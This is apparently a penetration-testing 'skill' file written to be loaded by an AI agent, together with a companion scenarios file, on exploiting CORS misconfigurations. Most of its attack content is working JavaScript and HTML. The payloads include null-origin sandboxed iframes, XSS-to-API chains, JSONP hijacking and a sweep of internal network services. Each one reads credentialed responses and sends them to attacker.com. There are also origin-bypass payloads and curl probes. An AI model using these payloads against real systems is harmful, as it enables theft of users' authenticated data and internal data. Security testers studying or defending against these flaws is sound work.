Cors Cross Origin Misconfiguration

SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors

AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.

Extended Scenarios

Also load SCENARIOS.md when you need:

• JSONP hijacking complete attack scenario — watering hole + <script> cross-origin data theft
• Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
• Same-origin policy deep dive — protocol/hostname/port definition, document.domain subdomain relaxation and its security risks
• CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
• CORS exploitation payloads — reflected origin with credentials: include, null origin via sandboxed iframe
• Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup

1. WHEN TO LOAD THIS SKILL

Load when:

• Responses contain Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers
• A browser-based attack path might read authenticated API responses
• JSON endpoints appear protected from CSRF but are readable cross-origin

2. HIGH-VALUE MISCONFIGURATION CHECKS

3. QUICK TRIAGE

1. Send crafted Origin headers and inspect reflection. 2. Test with and without credentials. 3. Probe allowlist bypasses using attacker subdomains and parser edge cases. 4. If readable data is sensitive, chain to account or tenant impact.

4. RELATED ROUTES

• Session or JSON action abuse: csrf cross site request forgery
• OAuth token leakage and callback binding: oauth oidc misconfiguration
• API auth context: api auth and jwt abuse

---

5. NULL ORIGIN EXPLOITATION

How Origin: null is sent

Exploitation

If the server includes null in its origin allowlist or reflects it:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>

The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.

---

6. SUBDOMAIN XSS → CORS BYPASS CHAIN

Attack flow

1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses

PoC (injected via XSS on blog.target.com)

fetch('https://api.target.com/v1/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    navigator.sendBeacon('https://attacker.com/exfil',
        JSON.stringify(data));
});

Why this works

• blog.target.com is same-site with api.target.com → SameSite cookies sent
• CORS allowlist includes *.target.com → Access-Control-Allow-Origin: https://blog.target.com
• Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain

Reconnaissance for this chain

□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify

---

7. VARY: ORIGIN CACHING ISSUE

Problem

When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:

1. Attacker requests: Origin: https://attacker.com
   Response cached with: Access-Control-Allow-Origin: https://attacker.com

2. Victim requests same URL (no Origin or different Origin)
   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)

Detection

# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I

# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I

# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing

Exploitation

1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials

Fix verification

□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)

---

8. REGEX BYPASS PATTERNS

Common flawed regex patterns for origin validation:

Test payloads for origin validation bypass

https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null

Advanced: Unicode normalization bypass

https://target.com → https://ⓣarget.com (Unicode homoglyph)

Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.

---

9. INTERNAL NETWORK CORS EXPLOITATION

Scenario

An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:

Access-Control-Allow-Origin: *

Internal APIs often use wildcard CORS because "only internal users can reach it."

Attack chain

1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
   fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server

// On attacker.com — target internal API from victim's browser
const internalAPIs = [
    'http://192.168.1.1/admin/config',
    'http://10.0.0.1:8080/api/users',
    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
    'http://localhost:8500/v1/agent/members', // Consul
];

internalAPIs.forEach(url => {
    fetch(url)
        .then(r => r.text())
        .then(data => {
            navigator.sendBeacon('https://attacker.com/exfil',
                JSON.stringify({url, data}));
        })
        .catch(() => {});
});

Port scanning via CORS timing

Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:

• Port open: connection established → CORS error (different timing)
• Port closed: connection refused → fast error
• Host down: timeout → slow error

Combined with DNS rebinding

1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable

CORS Misconfiguration — Extended Scenarios

Companion to SKILL.md. Contains JSONP hijacking, same-origin policy deep dive, and real-world exploitation patterns.

---

1. JSONP Hijacking — Complete Attack Scenario

Mechanism

JSONP (JSON with Padding) wraps JSON data in a function call, enabling cross-origin data access via <script> tags. If the JSONP endpoint returns sensitive data and doesn't validate the Referer/Origin:

<!-- Attacker's page: -->
<script>
function stolen(data) {
    // data contains victim's sensitive information
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(data)
    });
}
</script>
<script src="https://target.com/api/userinfo?callback=stolen"></script>
<!-- Victim's browser sends cookies → authenticated request → JSONP returns stolen({"name":"victim","email":"..."}) -->

Watering Hole Attack via JSONP

1. Attacker compromises or creates a popular website (watering hole)
2. Embeds JSONP requests to target sites:
   <script src="https://social-site.com/api/profile?callback=exfil"></script>
   <script src="https://bank-site.com/api/account?callback=exfil"></script>
3. When victim visits the watering hole:
   → Browser sends authenticated requests to social-site and bank-site
   → JSONP responses contain victim's data
   → exfil() function sends data to attacker

Honeypot De-Anonymization via JSONP

Security teams use JSONP to identify anonymous visitors:

<!-- Honeypot page includes JSONP from social platforms: -->
<script src="https://weibo.com/api/user?callback=identify"></script>
<script src="https://github.com/api/user?callback=identify"></script>
<!-- If visitor is logged in → JSONP returns their profile → de-anonymized -->

---

2. Same-Origin Policy — Deep Dive

Definition

Two URLs have the same origin if and only if protocol, hostname, and port all match:

document.domain Relaxation

Both pages can set document.domain = "a.com" to enable cross-subdomain communication:

// On sub1.a.com:
document.domain = "a.com";
// On sub2.a.com:
document.domain = "a.com";
// Now they can access each other's DOM

Security risk: if any subdomain has XSS, it can set document.domain and access all other subdomains that do the same.

---

3. CORS vs JSONP — Technical Comparison

Migration path: replace JSONP endpoints with proper CORS configuration.

---

4. CORS Exploitation Payloads

Read Authenticated Data (reflected origin)

// If server reflects any Origin in Access-Control-Allow-Origin:
fetch('https://target.com/api/sensitive-data', {
    credentials: 'include'  // sends cookies
})
.then(r => r.json())
.then(data => {
    // Exfiltrate:
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});

Null Origin Exploit (sandbox)

<!-- Create null origin via sandboxed iframe: -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/data', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/c?d='+btoa(d)));
</script>
"></iframe>
<!-- Origin header sent as: null -->
<!-- If server allows Access-Control-Allow-Origin: null → exploitable -->

---

5. Dual-Site Attack Lab Pattern

Testing JSONP hijacking or CORS with two local servers:

Server A (target): localhost:8981 — login page, authenticated API with JSONP
Server B (attacker): localhost:8982 — hosts attack page with JSONP/CORS exploit

Attack flow:
1. Victim logs into Server A (gets session cookie)
2. Victim visits Server B (attacker page)
3. Server B's page includes <script src="http://localhost:8981/api/userinfo?callback=steal">
4. Browser sends Server A's cookies → authenticated JSONP response
5. steal() function on Server B captures the data

Note: for non-localhost testing, change the attack page's target URLs accordingly.